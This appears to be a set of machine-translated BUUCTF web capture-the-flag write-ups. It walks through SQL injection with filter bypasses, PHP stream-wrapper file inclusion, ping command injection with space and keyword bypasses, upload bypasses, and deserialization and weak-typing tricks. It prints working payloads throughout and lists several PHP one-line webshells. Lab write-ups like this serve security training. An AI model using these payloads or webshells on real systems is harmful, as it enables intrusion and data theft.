【BUUCTF】Web problem solution

Knowledge point link - SQL universal password

The normal logic is to enter the correct user name and password to log in; since there is no measure to prevent SQL injection, the general normal query statement is

select user from ctf where user = admin and pw = xxxxxx;

Since there is no restriction on input, we can construct such a query statement and comment out a part of the code behind, so that we can log in without verifying the password. This is the principle of the universal password.

select user from ctf where user = admin -- and pw = zxxxxx;

In sql, # is the comment symbol, and all subsequent strings can be commented out. So generally we can use admin#
but if the title uses this structure:

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

At this point we need to construct user=admin') #. The reason for adding ') is that the following sql statements are spliced ​​in this way, so you need to fill in ') yourself so that the user can be closed. In actual operation, what is the specific situation requires our own attempts and judgments.

Some experience summary of SQL injection

[Geek Challenge 2019] EasySQL

Topic Type: Simple SQL Injection

1. Forms with input boxes are usually universal passwords.
2. If you only fill in the account number,
image-20220728085600097
you will find that you must fill in both the user name and password, and the password cannot be empty. It may be that there is a judgment whether it is empty before putting the parameter in the SQL statement. .
3. Use the catch-all formula

# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1 
1' or '1'='1

insert image description here

The user name is random, as long as it is used on the password, it 1' or '1'='1will be successfully logged in, or the password can be filled in casually, and the user name can be used 1' or '1'='1#
(Note: If you use burpsuite for testing, you need to encode the space as %20 with url, and # as %23. Otherwise, it will Error reporting)
# : Single-line comment, directly comment the content after #.
It is not possible to use 1and1=1. The possible reasons are as follows:

推测sql语句是SELECT * FROM tables WHERE username='你输入的' and password='你输入的' 类似这样的查询,and 的两边同时为TRUE 结果才能为 TRUE,所以输入的payload一定要符合这个条件就可以登录成功了。
# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true

[HCTF 2018]WarmUp

insert image description here

There is only a bad smiley face on the page and nothing, so we checked the element with F12 and found that there seemed to be a hint

image-20220728091746537
When we visited /source.php, the source code was given, and we audited the code
insert image description here

Seeing such a thing, we also look at hint.php
image-20220728092036444

It shows that the flag is in ffffllllaaaagggg, if you go directly to this page, you will find that it does not exist. oh! It turns out that this is a file, not a webpage, and accessing it is a fart. We use? file= to find it.

image-20220728092527089
Be sure to pay attention, start looking from hint.php, how many... / try one by one by yourself
Let's analyze the code

<?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //条件一:page的值为空或者不是字符串,那么不通过
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }
			//条件二:page的值在白名单中,则通过
            if (in_array($page, $whitelist)) {
    
    
                return true;
            }
			//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //条件三:page中?之前的值在白名单中,则通过
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
			//将url编码后的字符串还原成未编码的样子,然后赋值给page
            $_page = urldecode($page);
            //返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
            );
            //条件四:page还原成未编码之后,?前面的值是否在白名单内,是则通过
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
	//以上条件满足一个则结果包含file
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
    
    
        include $_REQUEST['file'];
        exit;
    } else {
    
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
//这一坨代码,告诉我们,你输入的payload不为空,是字符串,且前面那个函数返回是ture,
//才能给你include包含文件。这也是为什么我们file=后面要先接一个hint.php或者resource.php
?> 

[Geek Challenge 2019] Havefun

This is also a code audit, we F12 to view the source code
image-20220728094606793

The key code is directly commented in the div box, which means that if the value of cat is equal to 'dog', then it will respond to Syc{cat_cat_cat}
As for what Syc is, we don't know. Anyway, as long as the value of cat is passed to a dog, it will be over.

[ACTF2020 Freshman Competition]Include

A link appears on the webpage, pointing to the ? file=flag.php
tried to enter and found that flag' is invisible, but the web page is correct and does not automatically jump to other pages
insert image description here

The title hints that it contains loopholes.

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

image-20220728095816155
So construct the payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

The base64 encoded content is:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=

Then base64 decoding can be done
flag{38fc6cb1-9559-4ca1-897a-7f6462ebe0ba}
It seems that different people have different answers, so don’t try to save trouble and directly submit other people’s answers, it will be recorded QAQ

Knowledge point link-php pseudo-protocol

file:// to access the local file system
php:// to access individual input/output streams

php://input

php://input means that the original data of the request can be accessed. Simply put, in the case of a POST request, php://input can obtain the post data.
More specifically, php://input is invalid when enctype="multipart/form-data"

php://filter

It can be used to read files in the server.
Since the data read from the file is directly output on the page, if the read file is a php file, the parsing of the PHP code in the browser will be abnormal, so we can use this protocol to convert the php The code in the file is output on the page as base64:

Payload:

/?file=php://filter/read=convert.base64-encode/resource=file.php
This question is used in this way.
Display in other formats:
string.tolower //All written content becomes lowercase
string.toupper //All written content becomes uppercase
string.rot13 //All written content performs ROT13 encoding on the string

data://

Usage: 1.
http://192.168.0.103/test/file.php?filename=data://text/plain;base64,PD9waHAg cGhwaW5mbygpOyA/Pg==

http://192.168.0.103/test/file.php?filename=data:text/plain,<?php phpinfo();?>

phar://

This parameter is a function of php decompression package, no matter what the suffix is, it will be decompressed as a compressed package. The prerequisite
is that the php version is greater than 5.3.0, and the compressed package must be the file Payload compressed by the zip protocol:
http://192.168.1.239/rfi.php?filename=phar://shell.zip/shell.php

zip://

The principle is similar to the previous one, but the format is different Payload:
http://192.168.1.239/rfi.php?filename=zip://shell.zip%23shell.php

[Qiangwang Cup 2019] Casual Bet

First input test
Here I input 1, echo "1" "hahaha"
image-20220728100421805
Here I input 2, echo "2" "miaomiaomiao"
image-20220728100437357

enter

1' order by 3 #

insert image description here

It can’t pop up anymore, the description field has 2 digits. Try a union query to query the database

1' union select 1,2#

It was not found. Others have tried and found
that it is filtered. select|update|delete|drop|insert|where|\./i
Try union injection and echo the filtered keywords.

1' union select 1,2#

image-20220728101029672

It directly echoes the filtered characters to us

Now we try stack injection, the principle is very simple, that is to inject multiple SQL statements through the ; sign.

0'; show databases; #

image-20220728101502269

Burst name:1'; show tables;#
insert image description here

Found that there are two tables of words and "191..."

1'; show columns from `1919810931114514`;#
注意:表名为数字时,要用`包起来查询。

image-20220728102639996

search result:

image-20220728102432851
So there is a flag, which should be what we are looking for. So how do we get specific data in the case of keyword filtering?

Method 1: Change the name and surname
Our current situation is that the library is this library, and the two tables in the library have a table name of words and a table name of 1919810931114514. The current default is to query the words table, but what we want is the flag value under the 1919810931114514 table. That is, we need to implement cross-table query.
We can guess that his query statement should be

select * from words where id=

We can change the name of the 1919810931114514 table to the words table by "changing the name and surname", but this is not enough. Since the words table has two fields, we need to change the new words table into two fields

1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

After this lump is executed, just query 1 again

Method 2: Bypass the encoding of keyword filtering
We could have directly queried the contents of the 1919810931114514 table, using

select * from ``1919810931114514`

However, it was said that select is filtered, so we can bypass this filter (hexadecimal encoding)

1';SeT@a=0x<这里填查询语句的十六进制代码>;prepare execsql from @a;execute execsql;#
也就是:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare...from... is a prepared statement, which will perform encoding conversion.

  • execute is used to execute the SQL statement created by SQLPrepare.

  • SELECT can assign values ​​to multiple variables at the same time in one statement, while SET can only assign values ​​to one variable at a time.

    The query results are as follows:

image-20220728105153047

I think this method is the general bypass method

Method 3: Equivalent function replacement for keyword filtering

In addition to our commonly used "SELECT" statement, the query statement also has a HANDLER. And in the official description "HANDLER query performance is better than SELECT", so we can directly change the query function.

1'; handler `1919810931114514` open as flag; handler flag read next;#

This question involves a lot of knowledge points, SQL injection process, stacked query, keyword filtering and bypassing

Knowledge point link - SQL manual injection process

1.判断是否存在注入,注入是字符型还是数字型。
2.猜解 SQL 查询语句中的字段数:order by N
3.确定显示的字段顺序。
4.获取当前数据库。
5.获取数据库中的表。
6.获取表中的字段名。
7.查询到账户的数据。

Links to Knowledge Points - Keyword Filtering and Bypassing

Which keywords are filtered by the webpage, you can use burpsuite to blast them, using the commonly used keyword dictionary.

Bypass: Summary of the general method of SQL injection
In this question, we use equivalent function replacement and encoding bypass

[ACTF2020 Freshman Competition] Exec

This page calls us to ping
insert image description here

The investigation is about the direct execution of commands with common pipe characters.

1. | (Bitwise OR), directly execute the statement behind |
2. || (Logical OR), if the statement before || is wrong, execute the next statement, otherwise, only execute the previous statement
3. & (Bitwise AND), regardless of whether the statement before and after & is true or false, it must be executed
4. && (logical AND), if the previous statement is false, the subsequent statement will not be executed; Statement
5. ; (Same as &)

So we directly

192.168.0.1|cat /flag或者
192.168.0.1||cat /flag或者
192.168.0.1&cat /flag

image-20220728110920472

Knowledge point link - pipe symbol

The pipe character is mainly used for multiple command processing, and the print results of the previous commands are used as the input of the subsequent commands. To put it simply, it is like the assembly line of a factory. After one process is completed, it is sent to the next process for processing... Take a
chestnut: sort the hello.sh file and find the line containing "better" after the order
is : cat hello.sh | sort | uniq | grep 'better'
[1] The first process - view the text
First use the cat command to view the text, and the content printed on the screen is the output of the cat command
[2] The second process Process - Sorting
The results output by the previous cat command are thrown to the sort command through the pipeline, so the sort command sorts the text output by the previous cat command
[3] The third process - deduplication
mentioned in the article introducing uniq , the combination of sort and uniq can effectively deduplicate, so the text output after sort processing is thrown to uniq for processing through the pipeline, so uniq processes the sorted text, which can effectively deduplicate [4] The fourth
process—— Filtering
The last step of filtering is also to filter the output text of the previous command, that is, the uniq command

The above cat, sort, uniq, grep and other commands all support the pipe character, because these commands can read the text to be processed from the standard input (that is, read the parameters from the standard input); and for some commands, such as rm , kill and other commands do not support reading parameters from standard input, but only support reading parameters from the command line (that is, the file or directory to be deleted must be specified after the rm command, and the process number to be killed must be specified after the kill command, etc.)

[SUCTF 2019]EasySQL

let's try first

image-20220728111203766

Let's try the injection with single quotes, no matter how we lose, it is nonono. Here nononono should be filtered keywords
image-20220728111313236

You can use burpsuite to blast common keywords to see which keywords are filtered. Here I attach the results of others.
image-20220728133701746
Blacklist:
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile |readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"";

That means it won't work, let's try; to make a query and find that it can. Then follow the process to explode the warehouse and explode the table.

  1. view database
1;show databases;#

image-20220728112058166
2. View table

1;show tables;#

image-20220728112122898
3. Look at the field value, something went wrong here. from, flag, information are all filtered. Here I tried hexadecimal encoding, but it didn't go around.
After querying, we found that this question examines set sql_mode=PIPES_AS_CONCAT;
first of all, we found that no matter what number we input, the result we get is Array ( [0] => 1 ), but if we input 0, then there is no echo. It shows that 0 caused our sentence to fail. Let's think about it, the source code may be as follows:

select $post['query']||flag from Flag

It is clever to enter "*,1" here, which will cause the statement to become

select *,1||flag from Flag,也就是select *,1 from Flag

The other is to be more professional, using

1;set sql_mode=PIPES_AS_CONCAT;select 1

Among them, the function of set sql_mode=PIPES_AS_CONCAT; is to change the function of || from or operation (or) to string splicing. After modification, this || is equivalent to splicing the results of select 1 and select flag from Flag together.

This question gives a situation of using || to query. In addition to knowing the *,1 of the universal password when there is no filter "*", we also need to know the statement set sql_mode=PIPES_AS_CONCAT;

[Geek Challenge 2019] Secret File

insert image description here

This question first gives you a page, and there is no information found on the page, but after checking it with F12, it is found that there is a hidden a tag pointing to ./Archive_room.php

After we clicked to jump over, we found that there was another web page with an a tag that said secret. Note here that the a tag points to ./action.php. But when we click it, it jumps to end.php,
image-20220728134611092
as long as we click it, it becomes like this, that is, a redirection occurs. What should we do?
insert image description here
At this time, we use burpsuite to open it, click secret, and we directly look at the returned data file. Sure enough ! It was found that something like this was returned
image-20220728135053604

We go to request secr3t.php and find something like this echo,
image-20220728135158469
then we will continue to visit flag.php and we will find it here
image-20220728135359197

There is a problem, a mistake, this is a lie to us. We return to the /secr3t.php page just now, and we can directly see the php source code on the browser.
insert image description here
The source code is as follows:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

I don't understand what it means here, but I can see that it is about the include file, just add
?file=php://filter/read=convert.base64-encode/resource=flag.php to the end. Then we will get a string of base64 encrypted text. Decryption is enough
to summarize the PHP pseudo-protocol - SegmentFault 思否

file://protocol

  • Function : used to access the local file system, which is usually used to read local files
    in CTF and is not affected by and . In the case of controllable parameters, if the import is not a file, it will still be parsed according to the php syntax, which is determined by the function.allow_url_fopenallow_url_include
    include()/require()/include_once()/require_once().phpinclude()

[GXYCTF2019]Ping Ping Ping

After entering this question on the webpage, I can only see the following:
image-20220728141458848
There is nothing else, and I checked with F12 and burpsuit and found nothing. But this word is so long that I really miss our payload! Let's try to construct a random payload to see
image-20220728141727736
how it looks like a command line ping operation? It feels like it might be remote command line execution, we use it directly; for stacking query, the ls here is the command in the lunux command line to display what is under the file directory, everyone knows this.
image-20220728142137315

We found two web pages, we tried to load them directly

?ip=127.0.0.1;cat flag.php

image-20220728142913652

This means that spaces should be filtered (why is the word so uncivilized), we bypass it

space filtering

  1. ${IFS} replace
  2. $IFS$1 replace
  3. ${ifs replace
  4. %20 replace
  5. < and <> redirector replacement
  6. %09 replace

After several attempts, I found that even the flag was filtered.
image-20220728143207796

Let's look at the index file and we will find
image-20220728143253550

The original filtering rules are written here. Sure enough, there are a lot of filtering rules. This matches whether the four letters of flag appear in sequence in a string. So there can be no flag. then we bypass

variable bypass

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

Inline execution:

``在linux中使用反引号包围意为将内容当做命令执行
/?ip=127.0.0.1;cat$IFS$1`ls`

base64 encoding bypass

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw in front is the base64 encoding of cat flag.php. Execute it with the base64 -d command.
The | here is the pipe character.

get

$flag = "flag{2205ce54-b625-457e-b77a-6bae7b6e3705}";

This question tests the basic linux commands and simple bypass methods.

[Geek Challenge 2019] LoveSQL

This question is a standard SQL injection question. Let's go through the process step by step. First, I tried it directly with the master password.

admin
check.php?username=admin&password=1%27or%271%27%3D%271

、

good! The login is successful, but do you think it's over? After trying it, this is not a flag, it really is not that simple. Then we follow the procedure.
1. There is no doubt that there is sql injection. Let's explode the database first (note that the echoed website is the website that we successfully logged in with the universal password, so we need to explode the database here. But there is no input box here, so we have to construct url injection)

/check.php?username=admin' order by 3%23&password=1     # 存在
/check.php?username=admin' order by 4%23&password=1     # 报错
注意:这里要同时输入用户名和密码才奏效,然后%23在SQL语句里面是#在url执行中也会把%23解析成#
所以这里不能直接写#不然就被网页编码成%23了

image-20220728153223580

Therefore, the resulting number of fields is three

2. Burst echo point

/check.php?username=1' union select 1,2,3%23&password=1

image-20220728154925381
echo point 2,3

3. Exploding table
using joint query

/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

image-20220728155056766
There are two tables, namely geekuser and l0ve1ysq1

4. Burst field

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23

image-20220728155214453
It is found that there are three fields in our 'l0ve1ysq1' table
5. Just look at the data

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{b1d254ac-a2ba-405e-afc9-df702115fa80}'

We see the flag, it's over.

[Geek Challenge 2019] Knife

This question examines the back door, and the title also implies Chinese Kitchen Knife (a software that connects to the back door).
image-20220728160900974

This looks like a one-sentence Trojan horse, where Syc is the connection key.
We open the ant sword, add data and enter the key
image-20220728161030550

Click Test Connection to find that the connection is successful. Then we add it, then right-click the management file, and you can find the flag file in the / directory
image-20220728161159425

Get flag{708fa83b-4476-45ab-a8a6-3c544d0bc49f}

[Geek Challenge 2019] Http

This question basically requires the data in the request
image-20220729165119145

image-20220729165126945

image-20220729165135384

So we use packet capture software to capture packets and add the following items:

image-20220729165036344

get the flag

[Geek Challenge 2019]Upload

First of all, this website requires us to submit pictures, which must be a file upload vulnerability. Let's submit a php file first, and try to capture the packet and change the suffix

image-20220728162433147

image-20220728162507265

It turned out that it was useless, indicating that the front-end filtering of non-picture format files was performed.
image-20220728162543205

The front-end filters non-picture format files. Then we try to write the Trojan horse into the img

image-20220728163013329

The echo results are as follows:
image-20220728163040923
Good guy, back-end filtering has been added, and the file content cannot contain '<?'.

Bypass, report an error
image-20220728163341612
image-20220728163349756

If it still doesn’t work, it means that the header of the image has been verified, then add the header of the image and upload it.

image-20220728163755555

Then continue to copy /b 1.png+1.php 2.png, upload

image-20220728163728917

Then we found the directory where the file was saved, and guessed it blindly, /upload/2.png

Open the Ant Sword link and find that it doesn’t work
image-20220728163953132

Back to the starting point, we re-capture 1.php. Change the Content-Type to image/jpeg, that is, the file format we uploaded is bypassed, and the PHP format is not acceptable here. Try until phtml is available (the file formats that bypass the suffix are php, php3, php4, php5, phtml. pht)

image-20220728165222329

Ant Sword Connection
image-20220728165333533

The flag is in the flag below /

image-20220728165829670

flag{c25fe532-2760-455b-8b0e-3acf7f1b1155}

Summary:
In fact, the big part in front of me is a detour. It's not that troublesome at all. I owe it to my inexperience in parameter modification. Not only do I need to change the Content-Type, but I also need to make targeted changes to the suffix name. Our processing of front-end verification in this level is to modify the suffix name, and then the packet capture should be made into a special executable. The processing of the back-end verification is to modify the content of a one-sentence Trojan horse to bypass header inspection and keyword "<?" filtering.
The idea of ​​this question is to add the file header and bypass the <, modify two parameters in burpsuite, one is Content-Type and the other is the suffix of filename, because if you don’t modify the suffix here, png cannot be connected with Ant Sword here .

[ACTF2020 Freshman Competition]Upload 1

Related knowledge points

One word Trojan horse:

  1. eval and assert
    PHP arbitrary code execution one-sentence backdoor, traditional eval, php5, 7 common.
<?php @eval($_GET["cmd"]); ?>  
<?php @assert($_POST['a']) ?>
  1. create_function and preg_replace functions:
    create_function, its function is to create an anonymous function, which is equivalent to executing an eval internally. Both php5 and 7 are available
<?php $st=@create_function('',$_POST['a']);$st();?>
  1. The /e modifier is also known as preg_replace. php7 can not be used, only php5.
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
  1. Similar to preg_replace, php5 only.
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
  1. The following methods can be applied to php7
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>

This problem is the same as the previous problem, but we use the same method.

1. You can create a .phtml file with the following content:

<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>

This is someone else's code I found. The advantage is that after implantation, it will automatically find the flag field and return it. No need, we use the ant sword to connect and then find
2. Modify the suffix to png to upload

image-202207290839069583. Capture the package and modify the field, the Content-Type is image/jpeg, and the filename suffix is ​​.phtml

image-202207290841208694. After the upload is successful, find the uploaded file page and directly access

image-20220729084133625

Note: These flags are different for everyone, so don't submit other people's

[Geek Challenge 2019] BabySQL

This is the third time this question has appeared. The previous two times I used the master password to enter directly, but this time the master password failed. The prompt said that strict filtering is provided, so I consider what kind of filtering to set up and how to bypass it.

admin
1'or'1'='1#

The filtering of our universal password is nothing more than three places, "or" " ' " "#", it is impossible to filter my numbers. Then let's try little by little. We found that double writing to or can be bypassed. And after testing, it is found that the keywords that are filtered out are: select , and , or where , from . So our payload wants to take into account the double writing of these keywords.

we get back the point

username=admin&password=123456' ununionion selselectect 1,2,3 %23

insert image description here
The echo point is 2,3, and then the library will explode

username=admin&password=123456' ununionion selselectect 1,2,database() %23

insert image description here

The library name is geek, and then we tried that the flag is not in this library, well, we encountered cross-library operations again

admin&password=123456' ununionion selselectect 1,2,group_concat(schema_name)  frfromom  (infoorrmation_schema.schemata) %23

insert image description here
It seems that it is likely to be in the ctf library, we burst the table name

username=admin&password=123456' ununionion selselectect 1,2,group_concat(table_name)  frfromom  (infoorrmation_schema.tables) where table_schema='ctf' %23

insert image description here
Finally explode the specific information to get the flag

username=admin&password=123456' ununionion selselectect 1,2,group_concat(column_name)  frfromom  (infoorrmation_schema.columns) whwhereere table_schema='ctf' aandnd table_name='Flag' %23

insert image description here

So this question is to examine the way of double writing bypass

[Geek Challenge 2019] PHP

This question hints that it is related to php, and it also hints that there is a website source code. Then we use dirsearch to scan it, and search for files zip, rar, etc. that are likely to be the source code of the website. We found a www.zip download and found the following content

image-20220729135125978

We opened flag.php and found that the content is as follows:

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

This is similar to the [Geek Challenge 2019] Havefun we have encountered before, and Syc must be executed in the end.
We found important code under class.php

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
<?php
include 'flag.php';


error_reporting(0);


class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
    
    
        $this->username = 'guest';
    }

    function __destruct(){
    
    
        if ($this->password != 100) {
    
    
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
    
    
            global $flag;
            echo $flag;
        }else{
    
    
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
//在对象被销毁的时候( __destruct()),如果username=admin且password=100的时候才会显示flag。但明显中间会调用一次__wakeup()把username改掉。因此需要绕过unserialize(@$select);
            
        }
    }
}
?>

On line 26 of the code, if the username is admin, the flag will be output, from

__destruct,__construct,__wakeup

It can be judged that there is a deserialization vulnerability. We need to make the username attribute of the object referred to by this = admin, because the attributes of the object are transmitted instead of parameters, so the parameters cannot be passed directly.

Serialization: object converted to string Deserialization: string restored to object

$test2 = serialize($test1); 

The serialize function will turn the object into a string, in a format similar to this:

O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}

o represents the object object: 4 represents the object length: "the object name is test": there is 1 member variable: {s represents the string: 2 length: the string is called id: the string: length 10: the name is PHPinfo(); "}

Commonly used built-in methods:
__construct(): initialized when an object is created, called when an object is created
__wakeup() triggered when unserialize is used
__sleep() triggered when serialize is used
__destruction(): object is destroyed at the end, and is called when an object is destroyed transfer

Here we need to find the result of this object serialization

<?php
class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
    
    
    	$this->username = $username;
        $this->password = $password;
    }
    
}
$a = serialize(new Name("admin",100));
echo $a;
?>

The output result is:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

So construct the payload:

?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

In the above payload, there are two points to note.

Pass in username and password. The number before the curly braces in front of the payload represents the number of attributes of the object. The original object is 2, here it is changed to 3, because when deserializing the string, when the value of the number of attributes is greater than the actual number of attributes, the execution of the __wakeup() function will be skipped

原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

There is a \0 prefix in front of Name and username, which is related to the serialization method of php. However, using \0 when submitting the payload in the url will be regarded as a blank character and lost. So replace \0 with %00.
Restructure the payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

get the flag

[RoarCTF 2019]Easy Calc

First of all, when you come in, there is such a page
insert image description here

For this question, we directly F12 to view the source code
image-20220729151142474
. We noticed that first of all, the comment said that a WAF was used to ensure security. We don’t know what it is, so let’s ignore it. Then there is a url, we definitely have to check it out.
Visit /calc.php to find the source code.
The code first uses get to obtain a num value, and then performs a blacklist filter, and then eval() will function to calculate the string according to the PHP code. So eval executes the contents of num. Then we are now going to find the flag through the value in num

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    
    
    show_source(__FILE__);
}else{
    
    
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
    
    
                if (preg_match('/' . $blackitem . '/m', $str)) {
    
    
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

It is found that many characters are filtered. Normal characters cannot be used directly, only numbers. But you can use ASCII to build a function
(note here: since WAF only allows the value of num to be a number, in order to bypass it, we add a space before num when constructing the payload). Here is an explanation for others
.
insert image description here

payload:

/calc.php? num=2;var_dump(scandir(chr(47)))

Among them, var_dump() is used to print;
scandir() is used to obtain files in the scanned directory;
chr (47) is the ASCII code of "/".

Found a file "f1agg" meaning flag:
insert image description here
try to read the file:

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

Where:
the file_get_contents() function is the preferred method for reading the contents of a file into a string;
chr(47) is the ASCII code for /;
chr(102) is the ASCII code for f;
chr(49) is 1 chr(97) is the ASCII code
of a;
chr(103) is the ASCII code of g.

So we got the content of the flag
image-20220729151722638

[ACTF2020 Freshmen Competition] BackupFile

This question is a weak type comparison, here are other people's solutions
ACTF2020 Freshman Competition]BackupFile

Start our challenge project and find that there is nothing on it. There is only one paragraph: Try to find out source file!

However, the title reminded us: Backup file, translated into Chinese means backup file

According to the experience of doing the questions, I learned that the backup file names are www.zip and .bak.swp and so on. But because I am lazy, I just use dirsearch to scan (although it takes a lot of time to scan...)

Finally, a file named: /index.php.bak is scanned
image-20220729152128995

Then visit this link and download the backup file. Discovery is a PHP code audit

Open it with a tool like Notepad and you can see the PHP code inside

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
    echo $flag;
}

}
else {
    echo "Try to find out source file!";
}

It feels like a weakly typed comparison question. The main code is:

$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }

In PHP:
== is weak equality, i.e. when comparing integer and string types. will first convert the strings to integers and then compare them. For example, when a=123 and b=123admin456 are == compared. Then b will only intercept the previous integer part. That is, b is transformed into 123.
So, a == b here returns True.
So here we only need to provide a parameter?key=123 to get the flag
insert image description here

[Geek Challenge 2019] BuyFlag

We found the following code on the payflag page F12 of the menu
insert image description here

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

Let me first explain that the is_numeric() function detects whether the string is composed of numbers only. If the string contains only numbers, it returns True, otherwise it returns False.
The meaning of the code here is that if the value of password is a number, then return "password can't be number"; but! Later else if restricts password == 404 to be able to return "Password Right!"; this creates a reverse condition.

  1. Vulnerability of the is_numberic() function: when %20 is added after the value, it will be judged as non-value, so we can bypass the 404%20is_numberic() function as long as we pass it in.

  2. PHP weak type comparison: this comparison only compares the previous integer part, so 404=='404xxxxx' so
    we can directly let password=404abc or password = 404%20, which not only bypasses is_numeric() but also completes the password match.
    image-20220729154221656
    After we bypassed, we found such a page.
    As can be seen from the text, there are three checkpoints set up here. First, you have to pay, second, if you are a relevant user (CUIT student), and finally you have to enter the correct password. The first step is to become a
    student: change the cookie to 1
    image-20220729154618146

​ Step 2: Pass in data, money and password. Remember to use the post method!
payload:password=404abc&money[]=1

Someone asked why the money should be set as a string, because after testing, if moneythe value is too long, an error will be displayed. Here, the character should be judged. The current PHP version is PHP/5.3.3, and the character processing function is very common in PHP vulnerabilities. Use The judgment can be skipped by passing parameter discovery in the array.
There is another way: use scientific notation to bypass money=1e9
